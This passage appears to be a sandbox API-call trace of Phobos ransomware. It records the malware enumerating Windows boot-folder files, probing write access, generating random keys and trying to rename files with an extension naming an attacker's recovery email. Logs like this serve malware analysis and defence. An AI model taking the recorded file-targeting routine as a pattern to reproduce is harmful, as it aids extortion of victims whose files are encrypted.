returned 1 [0055.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.594] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0055.594] CloseHandle (hObject=0x304) returned 1 [0055.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0055.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.594] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.594] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=79200) returned 1 [0055.594] CloseHandle (hObject=0x304) returned 1 [0055.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0055.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.595] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.595] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45984) returned 1 [0055.595] CloseHandle (hObject=0x304) returned 1 [0055.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0055.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.595] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.596] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=80224) returned 1 [0055.596] CloseHandle (hObject=0x304) returned 1 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.596] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.596] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.596] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.596] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=46496) returned 1 [0055.596] CloseHandle (hObject=0x304) returned 1 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.597] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.597] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=74072) returned 1 [0055.597] CloseHandle (hObject=0x304) returned 1 [0055.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0055.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.597] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.597] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=74144) returned 1 [0055.598] CloseHandle (hObject=0x304) returned 1 [0055.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0055.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.598] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.598] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.598] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.598] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=44960) returned 1 [0055.598] CloseHandle (hObject=0x304) returned 1 [0055.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0055.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.598] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.599] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.599] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.599] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77664) returned 1 [0055.599] CloseHandle (hObject=0x304) returned 1 [0055.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0055.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.599] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.599] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.599] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.599] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45984) returned 1 [0055.599] CloseHandle (hObject=0x304) returned 1 [0055.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0055.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.600] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.600] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.600] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.600] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77664) returned 1 [0055.600] CloseHandle (hObject=0x304) returned 1 [0055.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0055.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.600] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.600] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.600] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.601] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=75104) returned 1 [0055.601] CloseHandle (hObject=0x304) returned 1 [0055.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0055.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.601] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.601] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.601] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.601] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76640) returned 1 [0055.601] CloseHandle (hObject=0x304) returned 1 [0055.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0055.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.602] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.602] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0055.602] CloseHandle (hObject=0x304) returned 1 [0055.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0055.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.602] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0055.617] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=3695719) returned 1 [0055.617] CloseHandle (hObject=0x340) returned 1 [0055.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0055.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0055.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0055.618] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.618] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.631] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=3878410) returned 1 [0055.632] CloseHandle (hObject=0x2e4) returned 1 [0055.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0055.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0055.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0055.632] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.632] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.853] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=1985867) returned 1 [0055.853] CloseHandle (hObject=0x308) returned 1 [0055.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0055.853] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0055.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0055.854] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.869] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=2373000) returned 1 [0055.869] CloseHandle (hObject=0x308) returned 1 [0055.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0055.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0055.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0055.870] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.870] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.883] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=174959) returned 1 [0055.883] CloseHandle (hObject=0x320) returned 1 [0055.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0055.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.883] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 